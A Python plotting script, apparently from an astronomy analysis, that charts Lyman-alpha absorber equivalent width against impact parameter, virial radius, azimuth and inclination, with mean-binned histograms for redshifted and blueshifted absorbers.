allCosFancyInclinations = fullDict['allCosFancyInclinations']
total = 0
totalNo = 0
totalYes = 0
totalIsolated = 0
totalGroup = 0
########################################################################################
########################################################################################
# plot equivalent width as a function of impact parameter/diameter, split between
# red and blue shifted absorption
#
plotW_b_diam= False
save = False
if plotW_b_diam:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
labelr = 'Redshifted Absorber'
labelb = "Blueshifted Absorber"
alpha = 0.7
for d,i,w,m in zip(difList,impactList,lyaWList,majList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(m):
if d !=-99 and i !=-99 and w!=-99 and m!=-99:
count +=1
if d>0:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
if countb == 0:
countb +=1
plotb = ax.scatter(i/m,w,c='Blue',s=50,label= labelb,alpha=alpha)
if d<0:
# gas is red shifted compared to galaxy
color = 'Red'
if countr == 0:
countr +=1
plotr = ax.scatter(i/m,w,c='Red',s=50,label= labelr,alpha=alpha)
plot1 = scatter(i/m,w,c=color,s = 50,alpha=alpha)
# make the legend work properly
# labelr = 'Red Shifted Absorber'
# labelb = "Blue Shifted Absorber"
# plotb = scatter(i[countb]/m[countb],w[countb],c='Blue',s=50,label= labelb)
# plotr = scatter(i[countr]/m[countr],w[countr],c='Red',s=50,label= labelr)
# title('W(impact/diameter) for red and blue shifted absorption')
xlabel(r'$\rm \rho / D$')
ylabel(r'$\rm Equivalent ~Width [m\AA]$')
ax.grid(b=None,which='major',axis='both')
ylim(-1,1200)
# xlim(-1,150)
ax.legend(scatterpoints=1)
if save:
savefig('{0}/W(impact_diam)_dif_cut.pdf'.format(saveDirectory),format='pdf')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter, split between
# red and blue shifted absorption, overplot median histograms for red and blue
#
plotW_impact_difhist = True
save = True
if plotW_impact_difhist:
fig = figure(figsize=(7.7,5.7))
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 125
bins = arange(0,625,binSize)
labelr = r'$\rm Redshifted ~Absorber$'
labelb = r'$\rm Blueshifted ~Absorber$'
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v in zip(difList,impactList,lyaWList,virList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v):
if d!=-99 and i!=-99 and w!=-99 and v!=-99:
xVal = float(i)
yVal = float(w)
xVals.append(xVal)
if d>0:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
# plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb)
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,\
alpha=alpha,label=labelb)
if d<0:
# gas is red shifted compared to galaxy
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
# plotr = ax.scatter(v,w,c='Red',s=50,label= labelr)
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,\
alpha=alpha,label=labelr)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# # median red
# bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
# statistic='median', bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Redshifted ~EW$')
#
#
# # median blue
# bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
# statistic='median', bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Blueshifted ~EW$')
# avg red
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=2.1,alpha=alpha+0.2,label=r'$\rm Mean~ Redshifted ~EW$')
# avg blue
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean~ Blueshifted ~EW$')
# x-axis
majorLocator = MultipleLocator(100)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(50)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm \rho ~[kpc]$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
leg = ax.legend(scatterpoints=1,prop={'size':13},loc=1,fancybox=True)
# leg.get_frame().set_alpha(0.5)
ax.grid(b=None,which='major',axis='both')
ylim(0,1300)
xlim(0,500)
if save:
savefig('{0}/W(impact)_mean_{1}_difHistograms2.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter/R_vir, split between
# red and blue shifted absorption, overplot median histograms for red and blue
#
plotW_impact_vir_difhist = True
save = True
if plotW_impact_vir_difhist:
fig = figure(figsize=(7.7,5.7))
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 0.5
bins = arange(0,2.5,binSize)
labelr = r'$\rm Redshifted ~Absorber$'
labelb = r'$\rm Blueshifted ~Absorber$'
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v in zip(difList,impactList,lyaWList,virList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v):
if d!=-99 and i!=-99 and w!=-99 and v!=-99:
xVal = float(i)/float(v)
yVal = float(w)
xVals.append(xVal)
if d>0:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
# plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb)
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,\
alpha=alpha,label=labelb)
if d<0:
# gas is red shifted compared to galaxy
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
# plotr = ax.scatter(v,w,c='Red',s=50,label= labelr)
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,\
alpha=alpha,label=labelr)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# # median red
# bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
# statistic='median', bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Redshifted ~EW$')
#
#
# # median blue
# bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
# statistic='median', bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Blueshifted ~EW$')
# avg red
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=2.1,alpha=alpha+0.2,label=r'$\rm Mean~ Redshifted ~EW$')
# avg blue
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean~ Blueshifted ~EW$')
# x-axis
majorLocator = MultipleLocator(0.5)
majorFormatter = FormatStrFormatter(r'$\rm %0.1f$')
minorLocator = MultipleLocator(0.25)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm \rho / R_{vir}$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
leg = ax.legend(scatterpoints=1,prop={'size':13},loc=1,fancybox=True)
# leg.get_frame().set_alpha(0.5)
ax.grid(b=None,which='major',axis='both')
ylim(0,1300)
xlim(0,2.0)
if save:
savefig('{0}/W(impact_vir)_mean_{1}_difHistograms2.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter/R_vir, split between
# red and blue shifted absorption, overplot single median histogram (total EW)
#
plotW_impact_vir_medHist = False
save = False
if plotW_impact_vir_medHist:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
labelr = 'Redshifted Absorber'
labelb = "Blueshifted Absorber"
bSymbol = 'D'
rSymbol = 'o'
xVals = []
yVals = []
for d,i,w,v in zip(difList,impactList,lyaWList,virList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v):
if d!=-99 and i!=-99 and w!=-99 and v!=-99:
xVal = float(i)/float(v)
yVal = float(w)
xVals.append(xVal)
yVals.append(yVal)
if d>0:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
symbol = bSymbol
if countb == 0:
countb +=1
# plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb)
plotb = ax.scatter(xVal,yVal,marker=bSymbol,c='Blue',s=50,alpha=alpha)
if d<0:
# gas is red shifted compared to galaxy
color = 'Red'
symbol = rSymbol
if countr == 0:
countr +=1
# plotr = ax.scatter(v,w,c='Red',s=50,label= labelr)
plotr = ax.scatter(xVal,yVal,marker=rSymbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# x-axis
majorLocator = MultipleLocator(0.5)
majorFormatter = FormatStrFormatter(r'$\rm %0.1f$')
minorLocator = MultipleLocator(0.25)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
binSize = 0.5
bins = arange(0,2.5,binSize)
# 50% percentile
bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='solid',color='black',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean ~EW$')
# # 90% percentile
# bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
# statistic=lambda y: perc90(y), bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dashed',color='dimgray',lw=1.7,alpha=alpha+0.1,label=r'$\rm 90th\% ~EW$')
# # 10th percentile
# bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
# statistic=lambda y: perc10(y), bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dotted',color='green',lw=1.7,alpha=alpha+0.1,label=r'$\rm 10th\% ~EW$')
xlabel(r'$\rm \rho / R_{vir}$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1200)
xlim(0,2.0)
if save:
savefig('{0}/W(impact_vir)_mean_{1}_Histograms.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter, split between
# red and blue shifted absorption, overplot single median histogram (total EW)
#
plotW_impact_medHist = False
save = False
if plotW_impact_medHist:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
labelr = 'Redshifted Absorber'
labelb = "Blueshifted Absorber"
bSymbol = 'D'
rSymbol = 'o'
xVals = []
yVals = []
for d,i,w,v in zip(difList,impactList,lyaWList,virList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v):
if d!=-99 and i!=-99 and w!=-99 and v!=-99:
xVal = float(i)
yVal = float(w)
xVals.append(xVal)
yVals.append(yVal)
if d>0:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
symbol = bSymbol
if countb == 0:
countb +=1
# plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb)
plotb = ax.scatter(xVal,yVal,marker=bSymbol,c='Blue',s=50,alpha=alpha)
if d<0:
# gas is red shifted compared to galaxy
color = 'Red'
symbol = rSymbol
if countr == 0:
countr +=1
# plotr = ax.scatter(v,w,c='Red',s=50,label= labelr)
plotr = ax.scatter(xVal,yVal,marker=rSymbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# x-axis
majorLocator = MultipleLocator(100)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(50)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
binSize = 100
bins = arange(0,600,binSize)
# 50% percentile
bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='solid',color='black',lw=1.5,alpha=alpha,label=r'$\rm Mean ~EW$')
# # 90% percentile
# bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
# statistic=lambda y: perc90(y), bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dashed',color='dimgray',lw=1.5,alpha=alpha,label=r'$\rm 90th\% ~EW$')
# # 10th percentile
# bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \
# statistic=lambda y: perc10(y), bins=bins)
# left,right = edges[:-1],edges[1:]
# X = array([left,right]).T.flatten()
# Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
# plot(X,Y, ls='dotted',color='green',lw=1.5,alpha=alpha,label=r'$\rm 10th\% ~EW$')
xlabel(r'$\rm \rho ~[kpc]$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1200)
xlim(0,500)
if save:
savefig('{0}/W(impact)_mean_{1}_Histograms.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter, split between
# absorbers at azimuth >45 and <45, overplot median histograms for each
#
plotW_impact_az = False
save = False
if plotW_impact_az:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 100
bins = arange(0,600,binSize)
labelr = 'Az < 45 Absorber'
labelb = "Az > 45 Absorber"
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v,a in zip(difList,impactList,lyaWList,virList,azList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(a):
if d!=-99 and i!=-99 and w!=-99 and v!=-99 and a!=-99:
# xVal = float(i)/float(v)
xVal = float(i)
yVal = float(w)
xVals.append(xVal)
if float(a)>=45:
# galaxy is behind absorber, so gas is blue shifted
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha)
if float(a)<45:
# gas is red shifted compared to galaxy
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# avg AZ < 45 = RED
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Az < 45$')
# avg AZ >= 45 = BLUE
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Az \geq 45$')
# x-axis
majorLocator = MultipleLocator(100)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(50)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm Impact ~ Parameter ~ [kpc]$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1000)
# xlim(0,2.0)
xlim(0,500)
if save:
savefig('{0}/W(impact)_mean_{1}_az.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter/R_vir, split between
# absorbers at inc >55 and <55, overplot median histograms for each
#
plotW_impact_vir_inc = False
save = False
if plotW_impact_vir_inc:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 0.5
bins = arange(0,2.5,binSize)
labelr = 'Inc < 55 Absorber'
labelb = "Inc > 55 Absorber"
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc):
if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99:
xVal = float(i)/float(v)
yVal = float(w)
xVals.append(xVal)
if float(inc)>55:
# galaxy inc > 55
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha)
if float(inc)<55:
# galaxy in < 55
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# avg Inc < 55 = RED
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc < 55$')
# avg Inc > 55 = BLUE
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc > 55$')
# x-axis
majorLocator = MultipleLocator(0.5)
majorFormatter = FormatStrFormatter(r'$\rm %0.1f$')
minorLocator = MultipleLocator(0.25)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm \rho / R_{vir}$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1200)
xlim(0,2.0)
if save:
savefig('{0}/W(impact_vir)_mean_{1}_inc.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter, split between
# absorbers at inc >55 and <55, overplot median histograms for each
#
plotW_impact_inc = False
save = False
if plotW_impact_inc:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 125
bins = arange(0,625,binSize)
labelr = 'Inc < 55 Absorber'
labelb = "Inc > 55 Absorber"
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc):
if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99:
xVal = float(i)
yVal = float(w)
xVals.append(xVal)
if float(inc)>55:
# galaxy inc > 55
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha)
if float(inc)<55:
# galaxy inc < 55
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# avg inc < 55 = RED
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc < 55$')
# avg inc > 55 = BLUE
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc > 55$')
# x-axis
majorLocator = MultipleLocator(100)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(50)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm \rho ~[kpc]$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1200)
xlim(0,500)
if save:
savefig('{0}/W(impact)_mean_{1}_inc.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
##########################################################################################
##########################################################################################
# plot equivalent width as a function of impact parameter, split between
# absorbers at R_vir <200, R_vir >=200, overplot median histograms for each
#
plotW_impact_vir_separate = False
save = False
if plotW_impact_vir_separate:
fig = figure()
ax = fig.add_subplot(111)
countb = 0
countr = 0
count = -1
alpha = 0.7
binSize = 125
bins = arange(0,625,binSize)
labelr = r'$\rm R_{vir} ~ < ~ 200~kpc$'
labelb = r'$\rm R_{vir} ~ >= ~ 200~kpc$'
bSymbol = 'D'
rSymbol = 'o'
xVals = []
redX = []
redY = []
blueX = []
blueY = []
for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList):
# check if all the values are good
if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc):
if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99:
xVal = float(i)
yVal = float(w)
xVals.append(xVal)
if float(v)>200:
# galaxy inc > 55
color = 'Blue'
symbol = bSymbol
blueX.append(xVal)
blueY.append(yVal)
if countb == 0:
countb +=1
plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha)
if float(v)<=200:
# galaxy inc < 55
color = 'Red'
symbol = rSymbol
redX.append(xVal)
redY.append(yVal)
if countr == 0:
countr +=1
plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha)
plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha)
# avg inc < 55 = RED
bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm R_{vir} < 200~kpc$')
# avg inc > 55 = BLUE
bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \
statistic='mean', bins=bins)
left,right = edges[:-1],edges[1:]
X = array([left,right]).T.flatten()
Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten()
plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm R_{vir} >= 200~kpc$')
# x-axis
majorLocator = MultipleLocator(100)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(50)
ax.xaxis.set_major_locator(majorLocator)
ax.xaxis.set_major_formatter(majorFormatter)
ax.xaxis.set_minor_locator(minorLocator)
# y-axis
majorLocator = MultipleLocator(200)
majorFormatter = FormatStrFormatter(r'$\rm %d$')
minorLocator = MultipleLocator(100)
ax.yaxis.set_major_locator(majorLocator)
ax.yaxis.set_major_formatter(majorFormatter)
ax.yaxis.set_minor_locator(minorLocator)
xlabel(r'$\rm \rho ~[kpc]$')
ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$')
ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True)
ax.grid(b=None,which='major',axis='both')
ylim(0,1200)
xlim(0,500)
if save:
savefig('{0}/W(impact)_mean_{1}_vir_sep.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight')
else:
show()
#########################################################################################
#########################################################################################
#########################################################################################
#########################################################################################
if __name__=="__main__":
# do the work
main()
| [
"[email protected]"
]
| |
